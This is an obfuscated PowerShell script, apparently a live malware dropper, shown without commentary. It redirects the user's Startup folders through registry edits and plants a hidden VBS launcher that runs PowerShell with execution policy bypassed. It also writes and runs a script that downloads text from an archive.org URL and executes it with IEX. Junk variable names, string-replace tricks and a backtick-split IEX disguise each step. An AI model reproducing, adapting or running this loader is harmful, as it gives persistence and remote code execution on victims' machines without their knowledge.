$FVYTFYTFYFYFYFYFGY="C:\UsTRYCTUVYIBUCRYCTUVYIBTCRYTUYic\Run".Replace("TRYCTUVYIBUCRYCTUVYIBTCRYTUY","ers\Publ")
$YGUYGNUHYGUYGYUGYGUYGYUG = "Cr######################ory".Replace("######################","eateDirect")
[system.io.directory]::$YGUYGNUHYGUYGYUGYGUYGYUG($FVYTFYTFYFYFYFYFGY)
start-sleep -s 5
$HIUHIUHJIUHUYUUIHYIUIUHI = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
$GVFHTFYUGRTYUGYFTFYYUH= "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
$JYHGYUGUYGFYTFDTRDTRDFTR = "C:\Us--------------c\Run".Replace("--------------","ers\Publi")
$BFYHGTFYHFHUYGYU8YUYYUYG ="C------------blic\Run".Replace("------------",":\Users\Pu")

Set-ItemProperty -Path $HIUHIUHJIUHUYUUIHYIUIUHI -Name "Startup" -Value $JYHGYUGUYGFYTFDTRDTRDFTR;
Set-ItemProperty -Path $GVFHTFYUGRTYUGYFTFYYUH -Name "Startup" -Value $BFYHGTFYHFHUYGYU8YUYYUYG;
start-sleep -s 5
$Content = @'
Dim RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYI7GI6FU5DY4SYD5U6FI7GOH87GI6FU5DYDU6FYI7GUHUGYFTDRSGERHTCJVYKUBL
Set RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYI7GI6FU5DY4SYD5U6FI7GOH87GI6FU5DYDU6FYI7GUHUGYFTDRSGERHTCJVYKUBL= CreateObject("WScript.Shell")
ESFGRDHFJGHBKJGHFGDZGXFHCGJVHKBJKHVJGHCFGXDFXGCHJBHFGFTSRESTRDYFUGYIHUNBYIVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVYBUKNBYVUYTCRXEZXTCYUVBUIN="pOWe"
DCGFVHJNNGFCSDFGVHJGFCXDGVHJNKHGFDFGVBHGJNHBGMFDSFGHJKHNBNGMFCDXFCGVHBJNMKHJGFDRSTFGYHUJ = "RsHe"
VFHTTTTTTTTTTTTTTGSRBHGRFCVDHGBTFNYGTYRDTSETRVDBTFNYGNFTRTSERDTFYKGUYESRVDTFBYNGHUI ="LL -ExecutionPolicy "
DTHFBTYGNUYBTHVRGCVHTBJYNGKUHMNYJBTHVRGHCTBJYNHVFCSZDGCHJNBKNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIOJRTDVFBYUNGHIOJ = "Bypass &"
ETRCHTVJYTCRERXTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCYTUVYBIUYUTYCRXEZWEXTRCYUVYBIUYUTYRTETRYCTUVYIUOIUYTRTETXRCYVUYBU ="'C:\Users\Public\Run.ps1' "
FESGRDHTFJGYKFTHRGSEFGRHDTYGKUHGYFTDRSESRDHTFYGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHTFJGUKHLIUGYFTDRSDHTFYGUH = ESFGRDHFJGHBKJGHFGDZGXFHCGJVHKBJKHVJGHCFGXDFXGCHJBHFGFTSRESTRDYFUGYIHUNBYIVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVYBUKNBYVUYTCRXEZXTCYUVBUIN+DCGFVHJNNGFCSDFGVHJGFCXDGVHJNKHGFDFGVBHGJNHBGMFDSFGHJKHNBNGMFCDXFCGVHBJNMKHJGFDRSTFGYHUJ++VFHTTTTTTTTTTTTTTGSRBHGRFCVDHGBTFNYGTYRDTSETRVDBTFNYGNFTRTSERDTFYKGUYESRVDTFBYNGHUI+DTHFBTYGNUYBTHVRGCVHTBJYNGKUHMNYJBTHVRGHCTBJYNHVFCSZDGCHJNBKNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIOJRTDVFBYUNGHIOJ+ETRCHTVJYTCRERXTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCYTUVYBIUYUTYCRXEZWEXTRCYUVYBIUYUTYRTETRYCTUVYIUOIUYTRTETXRCYVUYBU+" "
RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYI7GI6FU5DY4SYD5U6FI7GOH87GI6FU5DYDU6FYI7GUHUGYFTDRSGERHTCJVYKUBL.Run FESGRDHTFJGYKFTHRGSEFGRHDTYGKUHGYFTDRSESRDHTFYGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHTFJGUKHLIUGYFTDRSDHTFYGUH,0
'@
Set-Content -Path C:\Users\Public\Run\Run.vbs -Value $Content

start-sleep -s 5
$Content = @'
$LINK ='https://ia601506.us.archive.org/7/items/servermn-hm/Servermn_hm.txt';$AFDSGDHJGKJHFGDFSDGRDHJFUGKYFHTDRSGSHTDYJFU = 'DoVGDHGFHTDYTDYTHNTDTRDTGRoadGFBHTFYTFYTFYTFYTFYTng'.Replace('VGDHGFHTDYTDYTHNTDTRDTGR','wnl').Replace('GFBHTFYTFYTFYTFYTFYT','stri');$XGRHCTJVYKUBYTYRYTFUYGIUHGYFUTFUYGIU ='SRDTFUYGIHUGYUTFYRDYTFUYGIUFTYDRYTFUYGem.NCHTYTFYTFYTFUYUFebGFHTFUYFUYUYFUYFUYUFUnt'.Replace('RDTFUYGIHUGYUTFYRDYTFUYGIUFTYDRYTFUYG','yst').Replace('CHTYTFYTFYTFUYUF','et.W').Replace('GFHTFUYFUYUYFUYFUYUFU','Clie');$N3 = 'IDTFYGUYFTDYFYUGUYFTUYew-OFFFFFFFFFFFFFFFFFFFFFFFFFFFKJHFGDFSDGRDHJFUGKYFHTDRSGSHTDYJFRRRRRRRRRRRRRRRRRRRRRNK)'.Replace('DTFYGUYFTDYFYUGUYFTUY','`E`X(N').Replace('FFFFFFFFFFFFFFFFFFFFFFFFFFF','bject $XGRHCTJVYKUBYTYRYTFUYGIUHGYFUTFUYGIU).$AFDSGDHJG').Replace('RRRRRRRRRRRRRRRRRRRRR','U($LI');$NEW=I`E`X ($N3 -Join '')|I`E`X
'@
Set-Content -Path C:\Users\Public\Run.ps1 -Value $Content
start-sleep -s 5
$LINK ='https://ia601506.us.archive.org/7/items/servermn-hm/Servermn_hm.txt';$AFDSGDHJGKJHFGDFSDGRDHJFUGKYFHTDRSGSHTDYJFU = 'DoVGDHGFHTDYTDYTHNTDTRDTGRoadGFBHTFYTFYTFYTFYTFYTng'.Replace('VGDHGFHTDYTDYTHNTDTRDTGR','wnl').Replace('GFBHTFYTFYTFYTFYTFYT','stri');$XGRHCTJVYKUBYTYRYTFUYGIUHGYFUTFUYGIU ='SRDTFUYGIHUGYUTFYRDYTFUYGIUFTYDRYTFUYGem.NCHTYTFYTFYTFUYUFebGFHTFUYFUYUYFUYFUYUFUnt'.Replace('RDTFUYGIHUGYUTFYRDYTFUYGIUFTYDRYTFUYG','yst').Replace('CHTYTFYTFYTFUYUF','et.W').Replace('GFHTFUYFUYUYFUYFUYUFU','Clie');$N3 = 'IDTFYGUYFTDYFYUGUYFTUYew-OFFFFFFFFFFFFFFFFFFFFFFFFFFFKJHFGDFSDGRDHJFUGKYFHTDRSGSHTDYJFRRRRRRRRRRRRRRRRRRRRRNK)'.Replace('DTFYGUYFTDYFYUGUYFTUY','`E`X(N').Replace('FFFFFFFFFFFFFFFFFFFFFFFFFFF','bject $XGRHCTJVYKUBYTYRYTFUYGIUHGYFUTFUYGIU).$AFDSGDHJG').Replace('RRRRRRRRRRRRRRRRRRRRR','U($LI');$NEW=I`E`X ($N3 -Join '')|I`E`X